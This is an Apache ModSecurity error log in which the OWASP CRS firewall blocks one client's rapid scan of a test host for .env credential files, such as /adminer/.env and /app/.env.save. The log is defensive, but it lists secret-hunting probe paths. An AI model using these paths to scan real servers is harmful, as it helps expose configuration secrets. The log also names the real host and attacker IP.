[Thu Feb 26 01:02:53.853201 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PSAAAAAU&quot;]
[Thu Feb 26 01:02:53.853383 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PSAAAAAU&quot;]
[Thu Feb 26 01:02:53.912706 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /adminer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhSQAAAAE&quot;]
[Thu Feb 26 01:02:53.912931 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhSQAAAAE&quot;]
[Thu Feb 26 01:02:53.913080 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhSQAAAAE&quot;]
[Thu Feb 26 01:02:53.939056 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PSgAAAAU&quot;]
[Thu Feb 26 01:02:53.939276 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PSgAAAAU&quot;]
[Thu Feb 26 01:02:53.939434 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PSgAAAAU&quot;]
[Thu Feb 26 01:02:53.978739 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PSwAAAAU&quot;]
[Thu Feb 26 01:02:53.978957 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PSwAAAAU&quot;]
[Thu Feb 26 01:02:53.979106 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PSwAAAAU&quot;]
[Thu Feb 26 01:02:53.983317 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /agora/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhTAAAAAE&quot;]
[Thu Feb 26 01:02:53.983534 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhTAAAAAE&quot;]
[Thu Feb 26 01:02:53.983695 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhTAAAAAE&quot;]
[Thu Feb 26 01:02:54.002743 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aZ-Nrik1SHHL9bIjTI-PTAAAAAU&quot;]
[Thu Feb 26 01:02:54.002980 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aZ-Nrik1SHHL9bIjTI-PTAAAAAU&quot;]
[Thu Feb 26 01:02:54.003139 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aZ-Nrik1SHHL9bIjTI-PTAAAAAU&quot;]
[Thu Feb 26 01:02:54.021321 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /alpha/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhTQAAAAE&quot;]
[Thu Feb 26 01:02:54.021534 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhTQAAAAE&quot;]
[Thu Feb 26 01:02:54.021691 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhTQAAAAE&quot;]
[Thu Feb 26 01:02:54.031798 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aZ-Nrik1SHHL9bIjTI-PTQAAAAU&quot;]
[Thu Feb 26 01:02:54.032070 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aZ-Nrik1SHHL9bIjTI-PTQAAAAU&quot;]
[Thu Feb 26 01:02:54.032227 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aZ-Nrik1SHHL9bIjTI-PTQAAAAU&quot;]
[Thu Feb 26 01:02:54.047434 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /anaconda/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhTgAAAAE&quot;]
[Thu Feb 26 01:02:54.047668 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhTgAAAAE&quot;]
[Thu Feb 26 01:02:54.047820 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhTgAAAAE&quot;]
[Thu Feb 26 01:02:54.106334 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aZ-Nrik1SHHL9bIjTI-PTgAAAAU&quot;]
[Thu Feb 26 01:02:54.106627 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aZ-Nrik1SHHL9bIjTI-PTgAAAAU&quot;]
[Thu Feb 26 01:02:54.106781 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aZ-Nrik1SHHL9bIjTI-PTgAAAAU&quot;]
[Thu Feb 26 01:02:54.239232 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhVQAAAAE&quot;]
[Thu Feb 26 01:02:54.239492 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhVQAAAAE&quot;]
[Thu Feb 26 01:02:54.239657 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhVQAAAAE&quot;]
[Thu Feb 26 01:02:54.254790 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/code/community/nosto/tagging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiydwAAAAA&quot;]
